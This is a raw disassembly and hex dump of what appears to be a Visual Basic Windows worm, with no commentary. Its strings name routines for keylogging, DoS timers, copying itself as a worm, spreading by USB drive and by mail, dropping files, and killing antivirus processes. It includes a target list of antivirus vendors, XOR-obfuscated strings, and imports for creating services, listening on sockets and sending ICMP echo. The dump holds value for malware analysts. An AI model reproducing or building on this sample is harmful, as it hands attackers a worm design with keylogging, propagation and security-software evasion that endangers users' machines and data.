00406570 42 00 00 00 56 42 00 00 2c 65 40 00 00 00 00 00 B...VB..,e@.....
00406580 06 00 00 00 09 00 00 00 3c 65 40 00 74 65 40 00 ........<e@.te@.
00406590 fc bc 41 00 00 00 00 00 00 00 00 00 80 3c 1b 00 ..A..........<..
004065a0
004065a0 string "Timer3",0
004065a7
004065a7 00 .
004065a8
004065a8 struct GUID
004065a8 guid guid 33ad4f3a-6699-11cf-b70c-00aa0060d393
004065b8
004065b8 string "Form",0
004065bd
004065bd 00 00 00 ...
004065c0
004065c0 string "TmrDos",0
004065c7
004065c7 00 .
004065c8
004065c8 string "TmrTungguconect",0
004065d8
004065d8 struct GUID
004065d8 guid guid 33ad4ee2-6699-11cf-b70c-00aa0060d393
004065e8
004065e8 string "TxtCaption",0
004065f3
004065f3 00 .
004065f4
004065f4 string "TmrKeyLog",0
004065fe
004065fe 00 00 ..
00406600
00406600 string "Text1",0
00406606
00406606 00 00 ..
00406608
00406608 struct VBDeclareNameLength
00406608 cbName int 12
0040660c
0040660c string "wininet.dll",0
00406618
00406618 struct VBDeclareNameLength
00406618 cbName int 25
0040661c
0040661c string "InternetCheckConnectionA",0
00406635
00406635 00 00 00 00 00 00 00 .......
0040663c
0040663c struct DeclareInfo
0040663c lpszLibraryName uint32 0x40660c
00406640 lpszFunctionName uint32 0x40661c
00406644 dwFlags uint32 0x00040000
00406648 lpCache uint32 0x41bd00
0040664c dwReserved uint32 0x00000000
00406650
00406650 00 00 00 00 ....

00406654
00406654fn_406654:
00406654mov eax, [0x41bd08]
00406659or eax, eax
0040665bje 0x40665f
0040665djmp eax
0040665f
0040665floc_40665f:
0040665fpush 0x40663c
00406664mov eax, 0x4010e0
00406669call eax
0040666bjmp eax
00406654

0040666d
0040666d 00 00 00 ...
00406670
00406670 struct VBDeclareNameLength
00406670 cbName int 14
00406674
00406674 string "GetDriveTypeA",0
00406682
00406682 00 00 ..
00406684
00406684 struct DeclareInfo
00406684 lpszLibraryName uint32 0x405f48
00406688 lpszFunctionName uint32 0x406674
0040668c dwFlags uint32 0x00040000
00406690 lpCache uint32 0x41bd0c
00406694 dwReserved uint32 0x00000000
00406698
00406698 00 00 00 00 ....

0040669c
0040669cfn_40669c:
0040669cmov eax, [0x41bd14]
004066a1or eax, eax
004066a3je 0x4066a7
004066a5jmp eax
004066a7
004066a7loc_4066a7:
004066a7push 0x406684
004066acmov eax, 0x4010e0
004066b1call eax
004066b3jmp eax
0040669c

004066b5
004066b5 00 00 00 ...
004066b8
004066b8 string "instal",0
004066bf
004066bf 00 .
004066c0
004066c0 string "CopyWoRm",0
004066c9
004066c9 00 00 00 ...
004066cc
004066cc string "setMyRegister",0
004066da
004066da 00 00 ..
004066dc
004066dc string "KIllallVirri",0
004066e9
004066e9 00 00 00 ...
004066ec
004066ec string "CopyYourUfd",0
004066f8
004066f8 string "StartMailWorm",0
00406706
00406706 00 00 ..
00406708
00406708 string "SelamatkanMsVb",0
00406717
00406717 00 .
00406718
00406718 string "EndTKMnUW",0
00406722
00406722 00 00 ..
00406724
00406724 string "CreateMutex",0
00406730
00406730 string "kirimbo",0
00406738
00406738 string "taroocx",0
00406740
00406740 string "dRopingAnyFiles",0
00406750
00406750 string "shellbi",0
00406758
00406758 22 00 80 00 01 00 04 00 ".......
00406760 00 00 00 00 34 00 04 00 00 00 00 00 ff 00 38 00 ....4.........8.
00406770 01 00 3c 00 02 00 4c 00 01 00 00 00 e1 4e ad 33 ..<...L......N.3
00406780 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 06 00 00 00 .f.......`......
00406790
00406790 wstring "lde",0
00406798
00406798 06 00 00 00 ....
0040679c
0040679c wstring "'ye",0
004067a4
004067a4 06 00 00 00 ....
004067a8
004067a8 wstring "zyq",0
004067b0
004067b0 struct TypeLibReference
004067b0 lpTypeLibGuid uint32 0x406460
004067b4 lpCache uint32 0x41bd18
004067b8
004067b8 02 00 00 00 ....
004067bc
004067bc wstring "\\",0
004067c0
004067c0 08 00 00 00 ....
004067c4
004067c4 wstring "yyyy",0
004067ce
004067ce 00 00 ..
004067d0
004067d0 struct VBDeclareNameLength
004067d0 cbName int 5
004067d4
004067d4 string "bind",0
004067d9
004067d9 00 00 00 00 00 00 00 .......
004067e0 16 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 ................
004067f0 00 00 73 01 ff ff ff ff 01 00 00 00 0c 00 08 00 ..s.............
00406800 00 00 00 00 08 00 04 04 20 00 50 02 00 00 02 00 ........ .P.....
00406810 40 01 04 34 2c 00 0a 20 00 00 2c 00 04 01 34 02 @..4,.. ..,...4.
00406820 0a 20 3c 00 30 01 0e 00 . <.0...
00406828
00406828 struct VBDeclareNameLength
00406828 cbName int 15
0040682c
0040682c string "FindFirstFileA",0
0040683b
0040683b 00 02 00 00 00 .....
00406840
00406840 wstring "w",0
00406844
00406844 struct DeclareInfo
00406844 lpszLibraryName uint32 0x405f48
00406848 lpszFunctionName uint32 0x40682c
0040684c dwFlags uint32 0x00040000
00406850 lpCache uint32 0x41bd1c
00406854 dwReserved uint32 0x00000000
00406858
00406858 00 00 00 00 ....

0040685c
0040685cfn_40685c:
0040685cmov eax, [0x41bd24]
00406861or eax, eax
00406863je 0x406867
00406865jmp eax
00406867
00406867loc_406867:
00406867push 0x406844
0040686cmov eax, 0x4010e0
00406871call eax
00406873jmp eax
0040685c

00406875
00406875 00 00 00 ...
00406878
00406878 struct VBDeclareNameLength
00406878 cbName int 14
0040687c
0040687c string "FindNextFileA",0
0040688a
0040688a 00 00 ..
0040688c
0040688c struct DeclareInfo
0040688c lpszLibraryName uint32 0x405f48
00406890 lpszFunctionName uint32 0x40687c
00406894 dwFlags uint32 0x00040000
00406898 lpCache uint32 0x41bd28
0040689c dwReserved uint32 0x00000000
004068a0
004068a0 00 00 00 00 ....

004068a4
004068a4fn_4068a4:
004068a4mov eax, [0x41bd30]
004068a9or eax, eax
004068abje 0x4068af
004068adjmp eax
004068af
004068afloc_4068af:
004068afpush 0x40688c
004068b4mov eax, 0x4010e0
004068b9call eax
004068bbjmp eax
004068a4

004068bd
004068bd 00 00 00 ...
004068c0
004068c0 struct VBDeclareNameLength
004068c0 cbName int 10
004068c4
004068c4 string "FindClose",0
004068ce
004068ce 00 00 ..
004068d0
004068d0 struct DeclareInfo
004068d0 lpszLibraryName uint32 0x405f48
004068d4 lpszFunctionName uint32 0x4068c4
004068d8 dwFlags uint32 0x00040000
004068dc lpCache uint32 0x41bd34
004068e0 dwReserved uint32 0x00000000
004068e4
004068e4 00 00 00 00 ....

004068e8
004068e8fn_4068e8:
004068e8mov eax, [0x41bd3c]
004068edor eax, eax
004068efje 0x4068f3
004068f1jmp eax
004068f3
004068f3loc_4068f3:
004068f3push 0x4068d0
004068f8mov eax, 0x4010e0
004068fdcall eax
004068ffjmp eax
004068e8

00406901
00406901 00 00 00 1c 00 24 00 00 00 04 00 00 00 00 00 .....$.........
00406910 14 00 03 00 00 00 02 00 10 00 03 00 1c 00 01 00 ................
00406920 12 00 00 00 ....
00406924
00406924 wstring "d`j{fzfo}",0
00406938
00406938 04 00 00 00 ....
0040693c
0040693c wstring "'e",0
00406942
00406942 00 00 06 00 00 00 ......
00406948
00406948 wstring "a}d",0
00406950
00406950 06 00 00 00 ....
00406954
00406954 wstring "{h{",0
0040695c
0040695c 06 00 00 00 ....
00406960
00406960 wstring "s`y",0
00406968
00406968 08 00 00 00 ....
0040696c
0040696c wstring "~~~'",0
00406976
00406976 00 00 04 00 00 00 ......
0040697c
0040697c wstring "..",0
00406982
00406982 00 00 0a 00 00 00 ......
00406988
00406988 wstring "\x7f`{|z",0
00406994
00406994 0c 00 00 00 ....
00406998
00406998 wstring "z|yf{}",0
004069a6
004069a6 00 00 10 00 00 00 ......
004069ac
004069ac wstring "DffgDh`e",0
004069be
004069be 00 00 ..
004069c0 10 00 00 00 ....
004069c4
004069c4 wstring "pf|{z`}l",0
004069d6
004069d6 00 00 14 00 00 00 ......
004069dc
004069dc wstring "pf|{mfdh`g",0
004069f2
004069f2 00 00 10 00 00 00 ......
004069f8
004069f8 wstring "security",0
00406a0a
00406a0a 00 00 0a 00 00 00 ......
00406a10
00406a10 wstring "avira",0
00406a1c
00406a1c 0c 00 00 00 ....
00406a20
00406a20 wstring "norman",0
00406a2e
00406a2e 00 00 ..
00406a30 0c 00 00 00 ....
00406a34
00406a34 wstring "norton",0
00406a42
00406a42 00 00 0a 00 00 00 ......
00406a48
00406a48 wstring "panda",0
00406a54
00406a54 0c 00 00 00 ....
00406a58
00406a58 wstring "mcafee",0
00406a66
00406a66 00 00 0a 00 00 00 ......
00406a6c
00406a6c wstring "Syman",0
00406a78
00406a78 0c 00 00 00 ....
00406a7c
00406a7c wstring "sophos",0
00406a8a
00406a8a 00 00 0a 00 00 00 ......
00406a90
00406a90 wstring "Trend",0
00406a9c
00406a9c 0c 00 00 00 ....
00406aa0
00406aa0 wstring "vaksin",0
00406aae
00406aae 00 00 ..
00406ab0 0c 00 00 00 ....
00406ab4
00406ab4 wstring "novell",0
00406ac2
00406ac2 00 00 0a 00 00 00 ......
00406ac8
00406ac8 wstring "virus",0
00406ad4
00406ad4 0c 00 00 00 ....
00406ad8
00406ad8 wstring "g`yz\x7fj",0
00406ae6
00406ae6 00 00 1c 00 00 00 ......
00406aec
00406aec wstring "Gf{dhg)GCll\x7flz",0
00406b0a
00406b0a 00 00 0c 00 00 00 ......
00406b10
00406b10 wstring "g\x7fjfhz",0
00406b1e
00406b1e 00 00 ..
00406b20 18 00 00 00 ....
00406b24
00406b24 wstring "Gf{dhg)Shgmh",0
00406b3e
00406b3e 00 00 ..
00406b40
00406b40 struct VBDeclareNameLength
00406b40 cbName int 13
00406b44
00406b44 string "advapi32.dll",0
00406b51
00406b51 00 00 00 ...
00406b54
00406b54 struct VBDeclareNameLength
00406b54 cbName int 15
00406b58
00406b58 string "OpenSCManagerA",0
00406b67
00406b67 00 02 00 00 00 .....
00406b6c
00406b6c wstring "W",0
00406b70
00406b70 struct DeclareInfo
00406b70 lpszLibraryName uint32 0x406b44
00406b74 lpszFunctionName uint32 0x406b58
00406b78 dwFlags uint32 0x00040000
00406b7c lpCache uint32 0x41bd40
00406b80 dwReserved uint32 0x00000000
00406b84
00406b84 00 00 00 00 ....

00406b88
00406b88fn_406b88:
00406b88mov eax, [0x41bd48]
00406b8dor eax, eax
00406b8fje 0x406b93
00406b91jmp eax
00406b93
00406b93loc_406b93:
00406b93push 0x406b70
00406b98mov eax, 0x4010e0
00406b9dcall eax
00406b9fjmp eax
00406b88

00406ba1
00406ba1 00 00 00 ...
00406ba4
00406ba4 struct VBDeclareNameLength
00406ba4 cbName int 15
00406ba8
00406ba8 string "CreateServiceA",0
00406bb7
00406bb7 00 .
00406bb8
00406bb8 struct DeclareInfo
00406bb8 lpszLibraryName uint32 0x406b44
00406bbc lpszFunctionName uint32 0x406ba8
00406bc0 dwFlags uint32 0x00040000
00406bc4 lpCache uint32 0x41bd4c
00406bc8 dwReserved uint32 0x00000000
00406bcc
00406bcc 00 00 00 00 ....

00406bd0
00406bd0fn_406bd0:
00406bd0mov eax, [0x41bd54]
00406bd5or eax, eax
00406bd7je 0x406bdb
00406bd9jmp eax
00406bdb
00406bdbloc_406bdb:
00406bdbpush 0x406bb8
00406be0mov eax, 0x4010e0
00406be5call eax
00406be7jmp eax
00406bd0

00406be9
00406be9 00 00 00 ...
00406bec
00406bec struct VBDeclareNameLength
00406bec cbName int 14
00406bf0
00406bf0 string "DeleteService",0
00406bfe
00406bfe 00 00 ..
00406c00
00406c00 struct DeclareInfo
00406c00 lpszLibraryName uint32 0x406b44
00406c04 lpszFunctionName uint32 0x406bf0
00406c08 dwFlags uint32 0x00040000
00406c0c lpCache uint32 0x41bd58
00406c10 dwReserved uint32 0x00000000
00406c14
00406c14 00 00 00 00 ....

00406c18
00406c18fn_406c18:
00406c18mov eax, [0x41bd60]
00406c1dor eax, eax
00406c1fje 0x406c23
00406c21jmp eax
00406c23
00406c23loc_406c23:
00406c23push 0x406c00
00406c28mov eax, 0x4010e0
00406c2dcall eax
00406c2fjmp eax
00406c18

00406c31
00406c31 00 00 00 ...
00406c34
00406c34 struct VBDeclareNameLength
00406c34 cbName int 19
00406c38
00406c38 string "CloseServiceHandle",0
00406c4b
00406c4b 00 .
00406c4c
00406c4c struct DeclareInfo
00406c4c lpszLibraryName uint32 0x406b44
00406c50 lpszFunctionName uint32 0x406c38
00406c54 dwFlags uint32 0x00040000
00406c58 lpCache uint32 0x41bd64
00406c5c dwReserved uint32 0x00000000
00406c60
00406c60 00 00 00 00 ....

00406c64
00406c64fn_406c64:
00406c64mov eax, [0x41bd6c]
00406c69or eax, eax
00406c6bje 0x406c6f
00406c6djmp eax
00406c6f
00406c6floc_406c6f:
00406c6fpush 0x406c4c
00406c74mov eax, 0x4010e0
00406c79call eax
00406c7bjmp eax
00406c64

00406c7d
00406c7d 00 00 00 ...
00406c80
00406c80 struct VBDeclareNameLength
00406c80 cbName int 13
00406c84
00406c84 string "OpenServiceA",0
00406c91
00406c91 00 00 00 ...
00406c94
00406c94 struct DeclareInfo
00406c94 lpszLibraryName uint32 0x406b44
00406c98 lpszFunctionName uint32 0x406c84
00406c9c dwFlags uint32 0x00040000
00406ca0 lpCache uint32 0x41bd70
00406ca4 dwReserved uint32 0x00000000
00406ca8
00406ca8 00 00 00 00 ....

00406cac
00406cacfn_406cac:
00406cacmov eax, [0x41bd78]
00406cb1or eax, eax
00406cb3je 0x406cb7
00406cb5jmp eax
00406cb7
00406cb7loc_406cb7:
00406cb7push 0x406c94
00406cbcmov eax, 0x4010e0
00406cc1call eax
00406cc3jmp eax
00406cac

00406cc5
00406cc5 00 00 00 10 00 08 00 00 00 01 00 ...........
00406cd0 00 00 00 00 00 00 01 00 16 00 18 00 00 00 01 00 ................
00406ce0 10 00 04 34 08 00 0a 20 ca 3f 08 00 08 00 00 00 ...4... .?......
00406cf0 0c 00 10 00 00 00 00 00 10 00 04 04 0c 00 94 01 ................
00406d00 00 00 00 00 94 01 04 04 16 00 10 02 00 00 01 00 ................
00406d10 18 01 04 34 1c 00 0a 20 ca 3f 1c 00 fa 00 00 00 ...4... .?......
00406d20
00406d20 struct VBDeclareNameLength
00406d20 cbName int 11
00406d24
00406d24 string "ws2_32.dll",0
00406d2f
00406d2f 00 .
00406d30 00 00 00 00 ....
00406d34
00406d34 struct DeclareInfo
00406d34 lpszLibraryName uint32 0x406d24
00406d38 lpszFunctionName uint32 0x4067d4
00406d3c dwFlags uint32 0x00040000
00406d40 lpCache uint32 0x41bd7c
00406d44 dwReserved uint32 0x00000000
00406d48
00406d48 00 00 00 00 ....

00406d4c
00406d4cfn_406d4c:
00406d4cmov eax, [0x41bd84]
00406d51or eax, eax
00406d53je 0x406d57
00406d55jmp eax
00406d57
00406d57loc_406d57:
00406d57push 0x406d34
00406d5cmov eax, 0x4010e0
00406d61call eax
00406d63jmp eax
00406d4c

00406d65
00406d65 00 00 00 ...
00406d68
00406d68 struct VBDeclareNameLength
00406d68 cbName int 15
00406d6c
00406d6c string "WSAAsyncSelect",0
00406d7b
00406d7b 00 .
00406d7c
00406d7c struct DeclareInfo
00406d7c lpszLibraryName uint32 0x406d24
00406d80 lpszFunctionName uint32 0x406d6c
00406d84 dwFlags uint32 0x00040000
00406d88 lpCache uint32 0x41bd88
00406d8c dwReserved uint32 0x00000000
00406d90
00406d90 00 00 00 00 ....

00406d94
00406d94fn_406d94:
00406d94mov eax, [0x41bd90]
00406d99or eax, eax
00406d9bje 0x406d9f
00406d9djmp eax
00406d9f
00406d9floc_406d9f:
00406d9fpush 0x406d7c
00406da4mov eax, 0x4010e0
00406da9call eax
00406dabjmp eax
00406d94

00406dad
00406dad 00 00 00 ...
00406db0
00406db0 struct VBDeclareNameLength
00406db0 cbName int 7
00406db4
00406db4 string "listen",0
00406dbb
00406dbb 00 .
00406dbc
00406dbc struct DeclareInfo
00406dbc lpszLibraryName uint32 0x406d24
00406dc0 lpszFunctionName uint32 0x406db4
00406dc4 dwFlags uint32 0x00040000
00406dc8 lpCache uint32 0x41bd94
00406dcc dwReserved uint32 0x00000000
00406dd0
00406dd0 00 00 00 00 ....

00406dd4
00406dd4fn_406dd4:
00406dd4mov eax, [0x41bd9c]
00406dd9or eax, eax
00406ddbje 0x406ddf
00406dddjmp eax
00406ddf
00406ddfloc_406ddf:
00406ddfpush 0x406dbc
00406de4mov eax, 0x4010e0
00406de9call eax
00406debjmp eax
00406dd4

00406ded
00406ded 00 00 00 ...
00406df0
00406df0 struct VBDeclareNameLength
00406df0 cbName int 6
00406df4
00406df4 string "htonl",0
00406dfa
00406dfa 00 00 ..
00406dfc
00406dfc struct DeclareInfo
00406dfc lpszLibraryName uint32 0x406d24
00406e00 lpszFunctionName uint32 0x406df4
00406e04 dwFlags uint32 0x00040000
00406e08 lpCache uint32 0x41bda0
00406e0c dwReserved uint32 0x00000000
00406e10
00406e10 00 00 00 00 ....

00406e14
00406e14fn_406e14:
00406e14mov eax, [0x41bda8]
00406e19or eax, eax
00406e1bje 0x406e1f
00406e1djmp eax
00406e1f
00406e1floc_406e1f:
00406e1fpush 0x406dfc
00406e24mov eax, 0x4010e0
00406e29call eax
00406e2bjmp eax
00406e14

00406e2d
00406e2d 00 00 00 ...
00406e30
00406e30 struct VBDeclareNameLength
00406e30 cbName int 7
00406e34
00406e34 string "accept",0
00406e3b
00406e3b 00 .
00406e3c
00406e3c struct DeclareInfo
00406e3c lpszLibraryName uint32 0x406d24
00406e40 lpszFunctionName uint32 0x406e34
00406e44 dwFlags uint32 0x00040000
00406e48 lpCache uint32 0x41bdac
00406e4c dwReserved uint32 0x00000000
00406e50
00406e50 00 00 00 00 ....

00406e54
00406e54fn_406e54:
00406e54mov eax, [0x41bdb4]
00406e59or eax, eax
00406e5bje 0x406e5f
00406e5djmp eax
00406e5f
00406e5floc_406e5f:
00406e5fpush 0x406e3c
00406e64mov eax, 0x4010e0
00406e69call eax
00406e6bjmp eax
00406e54

00406e6d
00406e6d 00 00 00 ...
00406e70
00406e70 struct VBDeclareNameLength
00406e70 cbName int 9
00406e74
00406e74 string "icmp.dll",0
00406e7d
00406e7d 00 00 00 ...
00406e80
00406e80 struct VBDeclareNameLength
00406e80 cbName int 15
00406e84
00406e84 string "IcmpCreateFile",0
00406e93
00406e93 00 .
00406e94
00406e94 struct DeclareInfo
00406e94 lpszLibraryName uint32 0x406e74
00406e98 lpszFunctionName uint32 0x406e84
00406e9c dwFlags uint32 0x00040000
00406ea0 lpCache uint32 0x41bdb8
00406ea4 dwReserved uint32 0x00000000
00406ea8
00406ea8 00 00 00 00 ....

00406eac
00406eacfn_406eac:
00406eacmov eax, [0x41bdc0]
00406eb1or eax, eax
00406eb3je 0x406eb7
00406eb5jmp eax
00406eb7
00406eb7loc_406eb7:
00406eb7push 0x406e94
00406ebcmov eax, 0x4010e0
00406ec1call eax
00406ec3jmp eax
00406eac

00406ec5
00406ec5 00 00 00 ...
00406ec8
00406ec8 struct VBDeclareNameLength
00406ec8 cbName int 16
00406ecc
00406ecc string "IcmpCloseHandle",0
00406edc
00406edc 06 00 00 00 ....
00406ee0
00406ee0 wstring "yay",0
00406ee8
00406ee8 06 00 00 00 ....
00406eec
00406eec wstring "{}o",0
00406ef4
00406ef4 00 00 00 00 ....
00406ef8
00406ef8 struct DeclareInfo
00406ef8 lpszLibraryName uint32 0x406e74
00406efc lpszFunctionName uint32 0x406ecc
00406f00 dwFlags uint32 0x00040000
00406f04 lpCache uint32 0x41bdc4
00406f08 dwReserved uint32 0x00000000
00406f0c
00406f0c 00 00 00 00 ....

00406f10
00406f10fn_406f10:
00406f10mov eax, [0x41bdcc]
00406f15or eax, eax
00406f17je 0x406f1b
00406f19jmp eax
00406f1b
00406f1bloc_406f1b:
00406f1bpush 0x406ef8
00406f20mov eax, 0x4010e0
00406f25call eax
00406f27jmp eax
00406f10

00406f29
00406f29 00 00 00 ...
00406f2c
00406f2c struct VBDeclareNameLength
00406f2c cbName int 13
00406f30
00406f30 string "IcmpSendEcho",0
00406f3d
00406f3d 00 00 00 ...
00406f40
00406f40 struct DeclareInfo
00406f40 lpszLibraryName uint32 0x406e74
00406f44 lpszFunctionName uint32 0x406f30
00406f48 dwFlags uint32 0x00040000
00406f4c lpCache uint32 0x41bdd0
00406f50 dwReserved uint32 0x00000000
00406f54
00406f54 00 00 00 00 ....

00406f58
00406f58fn_406f58:
00406f58mov eax, [0x41bdd8]
00406f5dor eax, eax
00406f5fje 0x406f63
00406f61jmp eax
00406f63
00406f63loc_406f63:
00406f63push 0x406f40
00406f68mov eax, 0x4010e0
00406f6dcall eax
00406f6fjmp eax
00406f58

00406f71
00406f71 00 00 00 ...
00406f74
00406f74 struct VBDeclareNameLength
00406f74 cbName int 11
00406f78
00406f78 string "WSAStartup",0
00406f83
00406f83 00 .
00406f84
00406f84 struct DeclareInfo
00406f84 lpszLibraryName uint32 0x406d24
00406f88 lpszFunctionName uint32 0x406f78
00406f8c dwFlags uint32 0x00040000
00406f90 lpCache uint32 0x41bddc
00406f94 dwReserved uint32 0x00000000
00406f98
00406f98 00 00 00 00 ....

00406f9c
00406f9cfn_406f9c:
00406f9cmov eax, [0x41bde4]
00406fa1or eax, eax
00406fa3je 0x406fa7
00406fa5jmp eax
00406fa7
00406fa7loc_406fa7:
00406fa7push 0x406f84
00406facmov eax, 0x4010e0
00406fb1call eax
00406fb3jmp eax
00406f9c

00406fb5
00406fb5 00 00 00 ...
00406fb8
00406fb8 struct VBDeclareNameLength
00406fb8 cbName int 14
00406fbc
00406fbc string "gethostbyname",0
00406fca
00406fca 00 00 ..
00406fcc
00406fcc struct DeclareInfo
00406fcc lpszLibraryName uint32 0x406d24
00406fd0 lpszFunctionName uint32 0x406fbc
00406fd4 dwFlags uint32 0x00040000
00406fd8 lpCache uint32 0x41bde8
00406fdc dwReserved uint32 0x00000000
00406fe0
00406fe0 00 00 00 00 ....

00406fe4
00406fe4fn_406fe4:
00406fe4mov eax, [0x41bdf0]
00406fe9or eax, eax
00406febje 0x406fef
00406fedjmp eax
00406fef
00406fefloc_406fef:
00406fefpush 0x406fcc
00406ff4mov eax, 0x4010e0
00406ff9call eax
00406ffbjmp eax
00406fe4

00406ffd
00406ffd 00 00 00 ...
00407000
00407000 struct VBDeclareNameLength
00407000 cbName int 11
00407004
00407004 string "WSACleanup",0
0040700f
0040700f 00 .
00407010
00407010 struct DeclareInfo
00407010 lpszLibraryName uint32 0x406d24
00407014 lpszFunctionName uint32 0x407004
00407018 dwFlags uint32 0x00040000
0040701c lpCache uint32 0x41bdf4
00407020 dwReserved uint32 0x00000000
00407024
00407024 00 00 00 00 ....

00407028
00407028fn_407028:
00407028mov eax, [0x41bdfc]
0040702dor eax, eax
0040702fje 0x407033
00407031jmp eax
00407033
00407033loc_407033:
00407033push 0x407010
00407038mov eax, 0x4010e0
0040703dcall eax
0040703fjmp eax
00407028

00407041
00407041 00 00 00 ...
00407044
00407044 struct VBDeclareNameLength
00407044 cbName int 14
00407048
00407048 string "RtlMoveMemory",0
00407056
00407056 00 00 ..
00407058
00407058 struct DeclareInfo
00407058 lpszLibraryName uint32 0x405f48
0040705c lpszFunctionName uint32 0x407048
00407060 dwFlags uint32 0x00040000
00407064 lpCache uint32 0x41be00
00407068 dwReserved uint32 0x00000000
0040706c
0040706c 00 00 00 00 ....

00407070
00407070fn_407070:
00407070mov eax, [0x41be08]
00407075or eax, eax
00407077je 0x40707b
00407079jmp eax
0040707b
0040707bloc_40707b:
0040707bpush 0x407058
00407080mov eax, 0x4010e0
00407085call eax
00407087jmp eax
00407070

00407089
00407089 00 00 00 ...
0040708c
0040708c struct VBDeclareNameLength
0040708c cbName int 12
00407090
00407090 string "wsock32.dll",0
0040709c
0040709c struct VBDeclareNameLength
0040709c cbName int 5
004070a0
004070a0 string "recv",0
004070a5
004070a5 00 00 00 ...
004070a8
004070a8 struct VBDeclareNameLength
004070a8 cbName int 5
004070ac
004070ac string "send",0
004070b1
004070b1 00 00 00 02 00 00 00 .......
004070b8
004070b8 wstring "v",0
004070bc
004070bc struct DeclareInfo
004070bc lpszLibraryName uint32 0x407090
004070c0 lpszFunctionName uint32 0x4070a0
004070c4 dwFlags uint32 0x00040000
004070c8 lpCache uint32 0x41be0c
004070cc dwReserved uint32 0x00000000
004070d0
004070d0 00 00 00 00 ....

004070d4
004070d4fn_4070d4:
004070d4mov eax, [0x41be14]
004070d9or eax, eax
004070dbje 0x4070df
004070ddjmp eax
004070df
004070dfloc_4070df:
004070dfpush 0x4070bc
004070e4mov eax, 0x4010e0
004070e9call eax
004070ebjmp eax
004070d4

004070ed
004070ed 00 00 00 ...
004070f0
004070f0 struct VBDeclareNameLength
004070f0 cbName int 14
004070f4
004070f4 string "gethostbyaddr",0
00407102
00407102 00 00 ..
00407104
00407104 struct DeclareInfo
00407104 lpszLibraryName uint32 0x406d24
00407108 lpszFunctionName uint32 0x4070f4
0040710c dwFlags uint32 0x00040000
00407110 lpCache uint32 0x41be18
00407114 dwReserved uint32 0x00000000
00407118
00407118 00 00 00 00 ....

0040711c
0040711cfn_40711c:
0040711cmov eax, [0x41be20]
00407121or eax, eax
00407123je 0x407127
00407125jmp eax
00407127
00407127loc_407127:
00407127push 0x407104
0040712cmov eax, 0x4010e0
00407131call eax
00407133jmp eax
0040711c

00407135
00407135 00 00 00 ...
00407138
00407138 struct VBDeclareNameLength
00407138 cbName int 10
0040713c
0040713c string "inet_addr",0
00407146
00407146 00 00 ..
00407148
00407148 struct DeclareInfo
00407148 lpszLibraryName uint32 0x406d24
0040714c lpszFunctionName uint32 0x40713c
00407150 dwFlags uint32 0x00040000
00407154 lpCache uint32 0x41be24
00407158 dwReserved uint32 0x00000000
0040715c
0040715c 00 00 00 00 ....

00407160
00407160fn_407160:
00407160mov eax, [0x41be2c]
00407165or eax, eax
00407167je 0x40716b
00407169jmp eax
0040716b
0040716bloc_40716b:
0040716bpush 0x407148
00407170mov eax, 0x4010e0
00407175call eax
00407177jmp eax
00407160

00407179
00407179 00 00 00 ...
0040717c
0040717c struct VBDeclareNameLength
0040717c cbName int 6
00407180
00407180 string "htons",0
00407186
00407186 00 00 ..
00407188
00407188 struct DeclareInfo
00407188 lpszLibraryName uint32 0x406d24
0040718c lpszFunctionName uint32 0x407180
00407190 dwFlags uint32 0x00040000
00407194 lpCache uint32 0x41be30
00407198 dwReserved uint32 0x00000000
0040719c
0040719c 00 00 00 00 ....

004071a0
004071a0fn_4071a0:
004071a0mov eax, [0x41be38]
004071a5or eax, eax
004071a7je 0x4071ab
004071a9jmp eax
004071ab
004071abloc_4071ab:
004071abpush 0x407188
004071b0mov eax, 0x4010e0
004071b5call eax
004071b7jmp eax
004071a0

004071b9
004071b9 00 00 00 ...
004071bc
004071bc struct VBDeclareNameLength
004071bc cbName int 12
004071c0
004071c0 string "ioctlsocket",0
004071cc
004071cc struct DeclareInfo
004071cc lpszLibraryName uint32 0x406d24
004071d0 lpszFunctionName uint32 0x4071c0
004071d4 dwFlags uint32 0x00040000
004071d8 lpCache uint32 0x41be3c
004071dc dwReserved uint32 0x00000000
004071e0
004071e0 00 00 00 00 ....

004071e4
004071e4fn_4071e4:
004071e4mov eax, [0x41be44]
004071e9or eax, eax
004071ebje 0x4071ef
004071edjmp eax
004071ef
004071efloc_4071ef:
004071efpush 0x4071cc
004071f4mov eax, 0x4010e0
004071f9call eax
004071fbjmp eax
004071e4

004071fd
004071fd 00 00 00 ...
00407200
00407200 struct VBDeclareNameLength
00407200 cbName int 7
00407204
00407204 string "socket",0
0040720b
0040720b 00 .
0040720c
0040720c struct DeclareInfo
0040720c lpszLibraryName uint32 0x406d24
00407210 lpszFunctionName uint32 0x407204
00407214 dwFlags uint32 0x00040000
00407218 lpCache uint32 0x41be48
0040721c dwReserved uint32 0x00000000
00407220
00407220 00 00 00 00 ....

00407224
00407224fn_407224:
00407224mov eax, [0x41be50]
00407229or eax, eax
0040722bje 0x40722f
0040722djmp eax
0040722f
0040722floc_40722f:
0040722fpush 0x40720c
00407234mov eax, 0x4010e0
00407239call eax
0040723bjmp eax
00407224

0040723d
0040723d 00 00 00 ...
00407240
00407240 struct VBDeclareNameLength
00407240 cbName int 8
00407244
00407244 string "connect",0
0040724c
0040724c struct DeclareInfo
0040724c lpszLibraryName uint32 0x406d24
00407250 lpszFunctionName uint32 0x407244
00407254 dwFlags uint32 0x00040000
00407258 lpCache uint32 0x41be54
0040725c dwReserved uint32 0x00000000
00407260
00407260 00 00 00 00 ....

00407264
00407264fn_407264:
00407264mov eax, [0x41be5c]
00407269or eax, eax
0040726bje 0x40726f
0040726djmp eax
0040726f
0040726floc_40726f:
0040726fpush 0x40724c
00407274mov eax, 0x4010e0
00407279call eax
0040727bjmp eax
00407264

0040727d
0040727d 00 00 00 ...
00407280
00407280 struct DeclareInfo
00407280 lpszLibraryName uint32 0x406d24
00407284 lpszFunctionName uint32 0x4070ac
00407288 dwFlags uint32 0x00040000
0040728c lpCache uint32 0x41be60
00407290 dwReserved uint32 0x00000000
00407294
00407294 00 00 00 00 ....

00407298
00407298fn_407298:
00407298mov eax, [0x41be68]
0040729dor eax, eax
0040729fje 0x4072a3
004072a1jmp eax
004072a3
004072a3loc_4072a3:
004072a3push 0x407280
004072a8mov eax, 0x4010e0
004072adcall eax
004072afjmp eax
00407298

004072b1
004072b1 00 00 00 ...
004072b4
004072b4 struct DeclareInfo
004072b4 lpszLibraryName uint32 0x406d24
004072b8 lpszFunctionName uint32 0x4070a0
004072bc dwFlags uint32 0x00040000
004072c0 lpCache uint32 0x41be6c
004072c4 dwReserved uint32 0x00000000
004072c8
004072c8 00 00 00 00 ....

